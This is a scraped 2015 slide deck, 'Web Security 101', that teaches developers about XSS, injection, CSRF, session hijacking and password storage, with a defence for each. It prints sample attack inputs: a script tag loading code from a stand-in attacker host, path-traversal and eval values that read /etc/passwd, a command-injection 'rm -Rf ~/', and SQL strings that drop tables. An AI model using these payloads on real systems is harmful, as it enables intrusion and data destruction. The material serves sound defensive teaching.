Orion Context Broker introduction 20240604Orion Context Broker introduction 20240604
Orion Context Broker introduction 20240604
 
OpenMetadata Community Meeting - 5th June 2024
OpenMetadata Community Meeting - 5th June 2024OpenMetadata Community Meeting - 5th June 2024
OpenMetadata Community Meeting - 5th June 2024
 
Navigating the Metaverse: A Journey into Virtual Evolution"
Navigating the Metaverse: A Journey into Virtual Evolution"Navigating the Metaverse: A Journey into Virtual Evolution"
Navigating the Metaverse: A Journey into Virtual Evolution"
 
Custom Healthcare Software for Managing Chronic Conditions and Remote Patient...
Custom Healthcare Software for Managing Chronic Conditions and Remote Patient...Custom Healthcare Software for Managing Chronic Conditions and Remote Patient...
Custom Healthcare Software for Managing Chronic Conditions and Remote Patient...
 
AI Genie Review: World’s First Open AI WordPress Website Creator
AI Genie Review: World’s First Open AI WordPress Website CreatorAI Genie Review: World’s First Open AI WordPress Website Creator
AI Genie Review: World’s First Open AI WordPress Website Creator
 
GOING AOT WITH GRAALVM FOR SPRING BOOT (SPRING IO)
GOING AOT WITH GRAALVM FOR  SPRING BOOT (SPRING IO)GOING AOT WITH GRAALVM FOR  SPRING BOOT (SPRING IO)
GOING AOT WITH GRAALVM FOR SPRING BOOT (SPRING IO)
 

Web Security 101

  • 1. © 2015 Adobe Systems Incorporated. All Rights Reserved. Web Security 101 Brent Shaffer | Matrix Architect
  • 2. © 2015 Adobe Systems Incorporated. All Rights Reserved. 2 Why are we talking about this? ▪ Your framework / programming language does not do everything for you ▪ Your website is vulnerable ▪ Security through obscurity is not sufficient ▪ Your friends may want to embarrass you ▪ "hactivists" might make you look like a fool ▪ bots are always busy ▪ Many attacks are easy to prevent ▪ The first step is becoming aware of the types of attacks that exist
  • 3. © 2015 Adobe Systems Incorporated. All Rights Reserved. 3 Kinds of Attacks 2 | Code Injection 3 | Cross Site Request Forgery (CSRF) 4 | Session Hijacking 5 | So many, many more... 1 | Cross Site Scripting (XSS)
  • 4. © 2015 Adobe Systems Incorporated. All Rights Reserved. 4 Rules of Thumb ▪ All Inputs are Evil! ▪ Do not trust your users ▪ Do not trust your users' cookies, parameters, or HTTP Headers ▪ "All servers are evil" is also a good assumption for end-users ▪ Whitelists are better than blacklists ▪ Never store passwords in plaintext ▪ Never store your passwords in source code ▪ Don't leak error messages
  • 5. © 2015 Adobe Systems Incorporated. All Rights Reserved. 5 Cross Site Scripting (XSS) ▪ The term XSS describes a specific kind of injection attack ▪ XSS injects Javascript (or other scripts) that run on the victim's client (browser) ▪ This malicious code usually steals cookies of the person who views the infected web page. ▪ Exploits a user's trust of a site. Can be combined with phishing or CSRF to steal all kinds of things. ▪ Accounted for 84% of all website security vulnerabilities (Symantec, 2007) <script src="http://attacker-site.com/malicious-code.js"> </script>
  • 6. © 2015 Adobe Systems Incorporated. All Rights Reserved. ▪ Validate user input when storing ▪ Escape when using variables in output ▪ based off the content type it's being used in ▪ Escaping HTML for a variable in JavaScript will not save you ▪ Use Templating Languages ▪ HAML, Twig (PHP), Jinja (Python), Pebble (Java) ▪ If this isn't possible, use Output Escaping ▪ Use a Markup Language if you want user-input rich text ▪ markdown, textile, rst 6 Cross Site Scripting (XSS)
  • 7. © 2015 Adobe Systems Incorporated. All Rights Reserved. 7 Code Injection ▪ Comes in many forms ▪ Command-Line injection ▪ SQL-injection ▪ HTML ▪ JavaScript (XSS)
  • 8. © 2015 Adobe Systems Incorporated. All Rights Reserved. 8 Code Injection - Command-Line injection ▪ File paths based on user input is NOT OKAY $user_id = $_GET['user_id']; $file = "/some/path/config/$user_id.json"; require $file; ▪ Attackers can access filesystem using "upwards" paths ?user_id=../../../etc/passwd #
  • 9. © 2015 Adobe Systems Incorporated. All Rights Reserved. 9 $user_id = $_GET['user_id']; $pic = "/some/path/pictures/$user_id.jpg"; if (`ls $pic`) { ... } Code Injection - Command-Line injection ▪ Avoid user input when executing on the command line ▪ Commands like exec, passthru, and system are often used to execute bash commands ?user_id=./ && rm -Rf ~/
  • 10. © 2015 Adobe Systems Incorporated. All Rights Reserved. 10 $user_id = $_GET['user_id']; $file = "/some/path/config/$user_id.json"; eval ("file_get_contents('$pic');"); Code Injection - Command-Line injection ▪ Avoid using dynamic code execution ▪ Commands like eval are used to dynamically evaluate PHP code ?user_id=foo');file_get_contents('etc/passwd
  • 11. © 2015 Adobe Systems Incorporated. All Rights Reserved. 11 ▪ strip “upwards” paths ▪ ensure all files are relative to a safe “root” ▪ be very strict on validation ▪ output-escaping depending on the context ▪ escapeshellcmd for exec ▪ addslashes for eval ▪ use with extreme caution Code Injection - Command-Line injection
  • 12. © 2015 Adobe Systems Incorporated. All Rights Reserved. 12 Code Injection - SQL injection © xkcd.com
  • 13. © 2015 Adobe Systems Incorporated. All Rights Reserved. 13 ▪ Similar to code injection, but happens when user input is used as part of a SQL query $search = $_GET['search']; $sql = "SELECT * FROM students WHERE name = '$search'"; ▪ Can be used to delete, corrupt, or steal data. ?search=';DROP ALL TABLES ?search=';UPDATE students SET name=jerkface ?search=foo' OR public=0 Code Injection - SQL injection
  • 14. © 2015 Adobe Systems Incorporated. All Rights Reserved. 14 ▪ SANITIZE YOUR INPUTS ▪ use "bound variables" $search = $_GET['search']; $sql = "SELECT * FROM students WHERE name = ?"; $statement = $pdo->prepare($sql, $search); $statement->execute(); ▪ Use ORMs / Database Abstraction Layers when possible Code Injection - SQL injection
  • 15. © 2015 Adobe Systems Incorporated. All Rights Reserved. 15 Cross-Site Request Forgery (CSRF) ▪ Exploits the browsers running on the client ▪ Exploits a site's trust in its users ▪ Victim is logged into Vulnerable Website ▪ Attacker has Victim make a request to Vulnerable Website without them knowing ▪ Victim submits a form on Fake Website, but it actually posts to Vulnerable Website ▪ Victim clicks a link it believes is for Fake Website, but it actually goes to Vulnerable Website ▪ An action is executed on behalf of Victim that they did not intend https://facebook.com/authorize?client_id=HackerGuy&authorized=true ▪ The Infamous "Samy Worm"
  • 16. © 2015 Adobe Systems Incorporated. All Rights Reserved. 16 ▪ Validate the Referrer ▪ The HTTP Referrer header says which URL initiated the request ▪ You can use this to block from any referrer that isn't you ▪ Only works if a whitelist can be constructed for where the requests will come from ▪ Use a CSRF-Token ▪ This is a token generated for each request based on the client's session ID ▪ Each form submits this back to the website ▪ Very difficult for an attacker to spoof <input type="hidden" name="csrf" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt"> Cross-Site Request Forgery (CSRF)
  • 17. © 2015 Adobe Systems Incorporated. All Rights Reserved. 17 Session Hijacking ▪ Similar to CSRF ▪ The attacker obtains the victim's cookie, and is then able to perform actions on their behalf ▪ Typically done for websites not secured with SSL/HTTPS ▪ Open networks and insecure networks (WEP) commonly found in public areas make it possible to view other traffic on the same router ▪ Plugins make this incredibly easy ▪ FireSheep / Cookie Cadger / DroidSheep ▪ Sniffing is easy with tools like WireShark
  • 18. © 2015 Adobe Systems Incorporated. All Rights Reserved. 18 Session Hijacking ▪ Use SSL/HTTPS you dummy! ▪ It is not enough to only secure the page the user logs into ▪ Don't allow HTTP on any site with user logins ▪ As the end user, usually whining and complaining can go a long way ▪ A few months after FireSheep, Facebook and Twitter implemented HTTPS throughout the site
  • 19. © 2015 Adobe Systems Incorporated. All Rights Reserved. Proper Password Management 19 ▪ NEVER STORE PASSWORDS IN PLAINTEXT ▪ always use a hash (one-way) ▪ just hashing is not enough ▪ Lookup Tables / Rainbow Tables ▪ all passwords < 7 characters require 64GB space to crack ▪ always use a salt ▪ a random unique string for each password
  • 20. © 2015 Adobe Systems Incorporated. All Rights Reserved. 20 Proper Password Management ▪ Brute Forcing ▪ a lot faster than you think ▪ 2012 Macbook Pro for salted MD5s: ▪ 6 char passwords: 5 hours ▪ 7 char passwords: 22 days ▪ entire english language: 1.8 seconds ▪ How to combat ▪ Use slow algorithms ▪ Iterate over hashing functions a lot of times ▪ require 8-character passwords, numbers/symbols, etc.
  • 21. © 2015 Adobe Systems Incorporated. All Rights Reserved. 21 Resources ▪ Top 10 Common Attacks: https://www.owasp.org/index.php/OWASP_Top_Ten_Cheat_Sheet ▪ Automatic SQL Injection & Database Takeover Tool: http://sqlmap.org ▪ Amazon Mistake: http://www.devfactor.net/2014/12/30/2375-amazon-mistake/ ▪ Burger King Hack: http://mashable.com/2013/02/18/burger-king-twitter-account-hacked/ ▪ Twitter Hack: http://countermeasures.trendmicro.eu/twitter-not-hacked-by-iranian-cyber-army/ ▪ Samy's Confession: http://namb.la/popular/tech.html ▪ Bobby Tables: http://bobby-tables.com ▪ Notorious Hacks: http://www.arnnet.com.au/slideshow/341113/top-10-most-notorious-cyber-attacks-history ▪ Passwords: http://www.slideshare.net/ircmaxell/password-storage-and-attacking-in-php-php-argentina ▪ More Good Slides: http://www.slideshare.net/mpeters/web-security-101
  • 22. © 2015 Adobe Systems Incorporated. All Rights Reserved. 22 Brent Shaffer bshafs@gmail.com Twitter: @bshaffer Github: @bshaffer Questions?
  • 23. © 2015 Adobe Systems Incorporated. All Rights Reserved. Adobe Confidential.